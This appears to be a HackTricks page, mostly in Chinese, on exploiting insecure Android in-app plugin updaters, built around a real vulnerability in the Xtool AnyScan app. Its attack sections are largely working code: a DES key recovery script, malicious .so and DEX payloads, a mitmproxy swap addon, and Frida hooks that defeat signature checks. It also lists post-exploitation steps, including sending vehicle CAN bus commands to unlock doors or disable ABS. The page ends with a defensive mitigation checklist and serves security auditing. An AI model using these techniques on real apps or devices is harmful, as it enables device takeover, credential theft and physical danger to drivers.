不安全的 In-App Update 机制 – Remote Code Execution via Malicious Plugins
Reading time: 12 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
许多 Android 应用实现了自己的“plugin”或“dynamic feature”更新通道,而不是使用 Google Play Store。当实现不安全时,能够拦截或篡改更新流量的攻击者可以提供任意 native 或 Dalvik/ART 代码,这些代码将在应用进程内被加载,导致手机上获得完整的 Remote Code Execution (RCE) —— 并且在某些情况下会影响应用控制的任何外部设备(汽车、IoT、医疗设备……)。
本页总结了在 Xtool AnyScan automotive-diagnostics 应用中发现的一个真实漏洞链(v4.40.11 → 4.40.40),并将该技术泛化,以便你在审计其他 Android 应用或在 red-team 演练中利用错误配置时使用。
0. Quick triage: does the app have an in‑app updater?
在 JADX/apktool 中的静态线索:
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Network endpoints like
/update
,/plugins
,/getUpdateList
,/GetUpdateListEx
. - Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
- Dynamic loaders:
System.load
,System.loadLibrary
,dlopen
,DexClassLoader
,PathClassLoader
. - Unzip paths writing under app-internal or external storage, then immediately loading a
.so
/DEX.
运行时挂钩以确认:
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
1. 识别不安全的 TLS TrustManager
- 使用 jadx / apktool 反编译 APK,并定位网络栈 (OkHttp, HttpUrlConnection, Retrofit…)。
- 查找自定义的
TrustManager
或HostnameVerifier
,其会盲目信任所有证书:
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
- 如果存在,应用会接受任何 TLS certificate → 你可以运行一个透明的 MITM proxy 并使用 self-signed cert:
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
如果 TLS pinning 被强制启用,而不是不安全的 trust-all 逻辑,请参见:
Android Anti Instrumentation And Ssl Pinning Bypass
Make APK Accept CA Certificate
2. Reverse-Engineering the Update Metadata
在 AnyScan 的情况下,每次应用启动都会触发一个 HTTPS GET 请求到:
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
响应体是一个 XML 文档,其 <FileData>
节点包含 Base64-encoded、DES-ECB 加密的 JSON,用于描述每个可用插件。
典型的排查步骤:
- 定位加密例程(例如
RemoteServiceProxy
)并恢复:
- 算法 (DES / AES / RC4 …)
- 模式 (ECB / CBC / GCM …)
- 硬编码的密钥 / IV (commonly 56‑bit DES or 128‑bit AES constants)
- 在 Python 中重新实现该函数以解密 / 加密元数据:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
Notes seen in the wild (2023–2025):
- 元数据通常是 JSON-within-XML 或 protobuf;弱加密算法和静态密钥很常见。
- 许多更新器在实际 payload 下载时接受明文 HTTP,即使元数据是通过 HTTPS 获取的。
- 插件经常解压到应用内部存储;一些仍使用外部存储或旧的
requestLegacyExternalStorage
,从而使跨应用篡改成为可能。
3. 构造恶意插件
3.1 本地库路径 (dlopen/System.load[Library])
- 选择任意合法的插件 ZIP,并将本地库替换为你的 payload:
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
- 更新 JSON 元数据,使
"FileName" : "PWNED.zip"
和"DownloadURL"
指向你的 HTTP 服务器。 - 对修改后的 JSON 重新加密并进行 Base64 编码,然后将其复制回被拦截的 XML 中。
3.2 Dex-based plugin path (DexClassLoader)
有些应用会下载 JAR/APK 并通过 DexClassLoader
加载代码。构建一个在加载时触发的恶意 DEX:
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
如果目标调用 Class.forName("pwn.Dropper")
,你的静态初始化器会执行;否则,使用 Frida 通过反射枚举已加载的类并调用一个导出的方法。
4. 使用 mitmproxy 交付 Payload
addon.py
示例,静默替换原始元数据:
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
运行一个简单的 Web 服务器来托管恶意 ZIP/JAR:
python3 -m http.server 8000 --directory ./payloads
当受害者启动该应用时,会:
- 通过 MITM 通道获取我们伪造的 XML;
- 使用硬编码的 crypto 解密并解析它;
- 下载
PWNED.zip
或plugin.jar
→ 在私有存储中解压; - 加载包含的
.so
或 DEX,立即以应用的权限执行我们的代码(相机、GPS、蓝牙、文件系统等)。
因为插件被缓存到磁盘,后门会在重启后仍然存在,并且每次用户选择相关功能时都会运行。
4.1 绕过签名/哈希检查(如果存在)
如果更新器验证签名或哈希,hook 验证以始终接受攻击者内容:
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
Also consider stubbing vendor methods such as PluginVerifier.verifySignature()
, checkHash()
, or short‑circuiting update gating logic in Java or JNI.
5. Other attack surfaces in updaters (2023–2025)
- Zip Slip path traversal while extracting plugins: malicious entries like
../../../../data/data/<pkg>/files/target
overwrite arbitrary files. Always sanitize entry paths and use allow‑lists. - External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
- Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
- Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
- React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.
6. Post-Exploitation Ideas
- 窃取 app 存储的 session cookies、OAuth tokens 或 JWTs。
- 放置二阶段 APK 并在可能的情况下通过
pm install
静默安装(有些应用已声明REQUEST_INSTALL_PACKAGES
)。 - 滥用任何连接的硬件 — 在 AnyScan 场景中你可以发送任意 OBD‑II / CAN 总线命令(解锁车门、禁用 ABS 等)。
Detection & Mitigation Checklist (blue team)
- 避免 dynamic code loading 和 out‑of‑store updates。优先使用 Play‑mediated updates。如果 dynamic plugins 是刚性需求,设计为仅数据的捆绑包,并将可执行代码保留在基线 APK 中。
- 正确强制使用 TLS:不要使用自定义的信任所有(trust‑all)管理器;在可行时部署 pinning,并使用加强的 network security config 来禁止明文流量。
- 不要从 Google Play 之外下载可执行代码。如果必须,使用 detached update signing(例如 Ed25519/RSA)并使用开发者持有的密钥在加载前验证。绑定 metadata 和 payload(长度、hash、版本)并采用 fail‑closed 策略。
- 使用现代加密(AES‑GCM)并对 metadata 使用每条消息的 nonce;从客户端移除硬编码密钥。
- 验证下载归档的完整性:验证覆盖每个文件的签名,或至少验证包含 SHA‑256 哈希的清单。拒绝额外/未知文件。
- 将下载存储在 app‑internal storage(或 Android 10+ 的 scoped storage)并使用防止跨应用篡改的文件权限。
- 防御 Zip Slip:在解压前规范化并验证 zip 条目路径;拒绝绝对路径或包含
..
的段。 - 考虑使用 Play “Code Transparency”,以便你和用户可以验证已发布的 DEX/native 代码与构建产物是否匹配(作为补充但不能替代 APK 签名)。
References
- NowSecure – Remote Code Execution Discovered in Xtool AnyScan App
- Android Developers – Dynamic Code Loading (risks and mitigations)
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。